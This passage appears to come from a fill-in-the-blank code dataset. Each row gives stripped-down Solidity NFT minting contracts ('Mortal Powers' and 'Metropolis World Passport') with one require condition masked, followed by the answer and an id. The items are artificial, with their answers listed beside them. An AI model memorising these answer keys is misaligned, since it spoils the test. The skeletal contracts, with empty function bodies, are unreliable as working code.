uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
require(block.timestamp >= goldSaleEpoch, "Too soon");
require(block.timestamp < publicSaleEpoch, "gold sale over");
require(
MerkleProof.verify(
merkleProof,
goldMerkleRoot,
keccak256(abi.encodePacked(msg.sender))
),
"Address not in the gold list"
);
require(msg.value >= goldSalePrice * count, "Ether value sent is below the price");
require(usedAddresses[msg.sender] + count <= 4, "max per wallet reached");
require(count > 0 && count <= goldMaxMint, "You can drop minimum 1, maximum 4 NFTs");
require(<FILL_ME>)
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function publicMint(uint256 count) external payable {
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| totalSupply()+count<=goldSupply,"Cannot exceeds Gold supply" | 128,066 | totalSupply()+count<=goldSupply |
"max per wallet reached" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function publicMint(uint256 count) external payable {
require(IsActive, "Sale must be active to mint");
require(block.timestamp >= publicSaleEpoch, "Too soon");
require(msg.value >= SALE_PRICE * count,
"Ether value sent is below the price");
require(<FILL_ME>)
require(totalSupply() + count <= collectionSize, "Cannot exceeds collection size");
require(count > 0 && count <= 25, "You can drop minimum 1, maximum 25 NFTs");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| usedAddresses[msg.sender]+count<=25,"max per wallet reached" | 128,066 | usedAddresses[msg.sender]+count<=25 |
"Cannot exceeds collection size" | pragma solidity ^0.8.8;
contract MPT is ERC721A, Ownable {
using Strings for uint256;
uint256 public constant collectionSize = 7778;
uint256 public constant goldSupply = 700;
uint256 public constant platinumSupply = 77;
uint256 public constant goldMaxMint = 4;
uint256 public constant platinumMaxMint = 3;
uint256 public constant platinumSalePrice = 0.08 ether;
uint256 public constant goldSalePrice = 0.1 ether;
uint256 public constant SALE_PRICE = 0.15 ether;
string public uriSuffix = ".json";
uint256 public goldSaleEpoch;
uint256 public platinumSaleEpoch;
uint256 public publicSaleEpoch;
bytes32 public goldMerkleRoot;
bytes32 public platinumMerkleRoot;
string public baseURI;
bool public IsActive = true;
mapping(address => uint256) public usedAddresses;
constructor(
uint256 _goldSaleEpoch,
uint256 _platinumSaleEpoch,
uint256 _publicSaleEpoch,
string memory _initBaseURI
)
ERC721A("Mortal Powers", "MPT")
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function platinumMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function goldMint(bytes32[] calldata merkleProof, uint256 count)
external
payable
{
}
function publicMint(uint256 count) external payable {
require(IsActive, "Sale must be active to mint");
require(block.timestamp >= publicSaleEpoch, "Too soon");
require(msg.value >= SALE_PRICE * count,
"Ether value sent is below the price");
require(usedAddresses[msg.sender] + count <= 25, "max per wallet reached");
require(<FILL_ME>)
require(count > 0 && count <= 25, "You can drop minimum 1, maximum 25 NFTs");
usedAddresses[msg.sender] += count;
_mint(msg.sender, count);
}
function reservedMint(address _addrs, uint256 count) public onlyOwner {
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to, uint256 count) internal virtual returns (uint256){
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function Paused() public onlyOwner {
}
function setGoldMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setPlatinumMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setGoldSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPlatinumSaleEpoch(uint256 _epoch) external onlyOwner {
}
function setPublicSaleEpoch(uint256 _epoch) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function withdrawTokens(IERC20 token) external onlyOwner {
}
}
| totalSupply()+count<=collectionSize,"Cannot exceeds collection size" | 128,066 | totalSupply()+count<=collectionSize |
"address already owns max allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
uint256 newItemId = _tokenIds.current();
// make sure not above limit of available mints.
require(newItemId <= _mintLimit, "To many minted");
//make sure not already got 1
require(<FILL_ME>)
_safeMint(toWallet, newItemId);
//randomly assign the element
string memory elm = elements[newItemId % 6];
//randomly assign the chracter WL spot.
uint avwl = 1;//_oddAvatar;
if (newItemId % 2 == 1) {
//is an odd number
avwl = 2;//_evenAvatar;
}
nftAccessTokenAttribute[newItemId] = AccessToken({
id: newItemId,
winChances: winChance,
softClay: 0,
rank: "N",
element: elm,
avatarWl: avwl,
whitelistSpots: new uint256[](0)
});
// Increment the tokenId for the next person that uses it.
_tokenIds.increment();
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| balanceOf(toWallet)<_maxAllowedPerWallet,"address already owns max allowed" | 128,105 | balanceOf(toWallet)<_maxAllowedPerWallet |
"not on the free mint list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
require(<FILL_ME>)
for(uint16 i; i < mints; i++){
//as comp winners they get an extra win chance too
_internalMint(msg.sender, 2);
//remove free mint ability
}
_freeMintable[msg.sender] -= mints;
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| _freeMintable[msg.sender]>=mints,"not on the free mint list" | 128,105 | _freeMintable[msg.sender]>=mints |
"invalid signature" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
//access control
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
interface ImageDataInf{
function getCDNImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getIPFSImageForElement(string calldata element, uint16 level)external view returns(string memory);
function getAnnimationForElement(string calldata element)external view returns(string memory);
}
interface TokenURIInf{
function maketokenURi(uint _tokenId, uint wlSpots, uint winChances, uint softClay ) external view returns(string memory);
function contractURI() external view returns (string memory);
}
interface WinContr {
function getReferalIncrease()external view returns(uint16);
function updateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external;
}
contract MetropolisWorldPassport is ERC721Enumerable, Ownable, AccessControl {
address private IMAGE_DATA_CONTRACT;
ImageDataInf ImageContract;
address private WIN_CONTRACT;
WinContr WinContract;
address private WL_CONTRACT;
address private TURI_CONTRACT;
TokenURIInf TuriContract;
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
//bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
bytes32 public constant CONTRACT_ROLE = keccak256("CONTRACT_ROLE");
//payment split contract
address payable private _paymentSplit;
// The tokenId is the NFTs unique identifier, it's just a number that goes
// 0, 1, 2, 3, etc.
using Counters for Counters.Counter;
Counters.Counter private _tokenIds; //counter for token ids
//updateable variables
uint32 public _mintLimit = 5000;
uint16 public _maxAllowedPerWallet = 301; //maximum allowed to mint per wallet
string private _oddAvatar = "nomad";
string private _evenAvatar = "citizen";
uint256 public _navPrice = 0.12 ether;
struct AccessToken {
uint256 id;
uint32 winChances;
uint32 softClay; // max is 4 billion
// string name;
string rank;
//string description;
//string image;
//string animation;
//string cdnImage;
string element;
uint avatarWl;
uint256[] whitelistSpots;
}
string[] elements = ["Fire", "Water", "Air", "Space", "Pixel", "Earth"];
//store the list of minted tokens metadata to thier token id
mapping(uint256 => AccessToken) nftAccessTokenAttribute;
//give away wallets
mapping(address=>uint16) _freeMintable; //winners of free passport are mapped here and can mint for free.
mapping(bytes => bool) _signatureUsed;
//set up functions
constructor(address imageContract, address admin) ERC721("Metropolis World Passport", "METWA") {
}
//overides
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable ,AccessControl)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721Enumerable)
{
}
function contractURI() public view returns (string memory) {
}
/**
* @dev Set up the addrese for other contracts which interact with this contract.
* @param winContract The address of the win chances contract.
* @param wlContract The address of the Whitelist Contract.
* @param turiContract The address of the Token URI contract
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function setWLContractAddress(address payable paymentContract, address winContract, address wlContract, address turiContract)external onlyRole(UPDATER_ROLE){
}
function setImageContract(address imageContract)external onlyRole(UPDATER_ROLE){
}
//minting functions
function _internalMint(address toWallet, uint32 winChance)internal {
}
/**
* @dev Used internally to mint free passports and send them to addreses eg. comp winners.
* @param toWallet The address which the passport will be minted too.
* @notice Can only be called by wallets with UPDATER_ROLE
*/
function freeMint(address toWallet)external onlyRole(UPDATER_ROLE) {
}
/**
* @dev Used by users who hvae been awarded a free passport. Checks against the list of approved wallets
*/
function userFreeMint(uint16 mints)external{
}
function myFreeMints()external view returns(uint16){
}
function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
}
/**
* @dev Bulk minitng function for users.
* @param numberOfMints the number of passports to be minted.
* @param toAddress the address the nft is going to.
* @param referrerTokenId the passport ID of the referrer, pass 0 if there is no referall.
*/
function bulkMint(uint16 numberOfMints, address toAddress, uint256 referrerTokenId, bytes32 hash, bytes memory signature)external payable {
require(<FILL_ME>)
require(!_signatureUsed[signature], "Signature has already been used.");
require(numberOfMints < _maxAllowedPerWallet, "Trying to mint more then max allowed per wallet" );
require(msg.value >= (numberOfMints * _navPrice), "not paid enough");
require(balanceOf(msg.sender) < _maxAllowedPerWallet - numberOfMints, "address already owns max allowed");
require(_tokenIds.current() + numberOfMints - 1 <= _mintLimit, "Will take you over max supply");
_signatureUsed[signature] = true;
for(uint16 i; i < numberOfMints; i++){
if (referrerTokenId != 0){
referralMint(referrerTokenId, toAddress);
}else{
_internalMint(toAddress, 1);
}
}
//return the excess if any
if (msg.value > (numberOfMints * _navPrice)){
Address.sendValue(payable(msg.sender), (msg.value - (numberOfMints * _navPrice)));
}
}
/**
* @dev Standard minitng with the added functionaility of a referal mechamisum.
* @param referrerTokenId The token id of the passport refering the mint
*/
function referralMint(uint256 referrerTokenId, address toAddress) internal {
}
//Whitelist Functions
// all the functions which created the proccess of adding or removing WL from the passport
//city WL spots
/**
* @dev used by the WL contract to attache whitlis spots for cities to passport.
* @param wlId The ID of the WL being attached
* @param passportId the token ID of the passport which the WL is being attcahed to.
* @notice only callable by a wallet/contract with the CONTRACT_ROLE
*/
function attachWLSpot(uint wlId, uint passportId)external onlyRole(CONTRACT_ROLE){
}
/**
* @dev Get the WL spots a particular passport has.
* @param passportId The token id of the passport
*/
function getWLSpots(uint passportId)external view returns(uint[] memory){
}
function detachCityWLSpot(uint passportId, uint index)external onlyRole(CONTRACT_ROLE){
}
//avatar whitelist spots
function contractRemoveAvatarWL(uint256 tokenId, address owner)
external
onlyRole(CONTRACT_ROLE)
{
}
function manualAddAvatarWL(uint256 tokenId, uint avatar)
external
onlyRole(UPDATER_ROLE)
{
}
function checkAvatarWL(uint passportId)external view returns(uint){
}
function setAvatarWLNames(string calldata odd, string calldata even)
external
onlyRole(UPDATER_ROLE)
{
}
//Win Chance functions
function userUpdateAfterLoss(uint passportId, string calldata city, uint32 buildingId)external{
}
function increaseWinChance(uint passportId, uint16 inc)external onlyRole(CONTRACT_ROLE){
}
function decreaseWinChance(uint passportId, uint16 dec)external onlyRole(CONTRACT_ROLE){
}
// view values
function getWinChances(uint256 tokenId)external view returns (uint32) {
}
//Soft Clay functions
// all the functions relating to the meteor dust process.
function increaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function decreaseSoftClay(uint passportId, uint32 amount)external onlyRole(CONTRACT_ROLE){
}
function updateRank(uint256 tokenId, uint32 _pioneerLevel, uint32 _legendLevel)external onlyRole(CONTRACT_ROLE){
}
function getSoftClay(uint passportId)external view onlyRole(CONTRACT_ROLE) returns(uint32){
}
//Admin or Helper Functions
// Mostly the ones use internaly to help user flow on the site.
function setFreeMinters(address[] calldata winners)external onlyRole(UPDATER_ROLE){
}
function setPrice(uint256 price) external onlyRole(UPDATER_ROLE) {
}
function setMaxAllowed(uint16 maxA)external onlyRole(UPDATER_ROLE){
}
function checkIfHasNFT(address owner)
external
view
returns (AccessToken[] memory nft)
{
}
function getCurrentTokenId() external view returns (string memory) {
}
function setMintLimit(uint32 limt) public onlyRole(UPDATER_ROLE) {
}
function sectionOne(uint _tokenId)external view returns(bytes memory){
}
// nftAccessTokenAttribute[_tokenId].description
// //token URI's
// ImageContract.getIPFSImageForElement(elm, 1),
// cdnImage: ImageContract.getCDNImageForElement(elm, 1)
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
// Transfers the ETH out of the contract to the specified address.
function withdraw() external {
}
}
| recoverSigner(hash,signature)==owner(),"invalid signature" | 128,105 | recoverSigner(hash,signature)==owner() |
"Signature has already been used." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
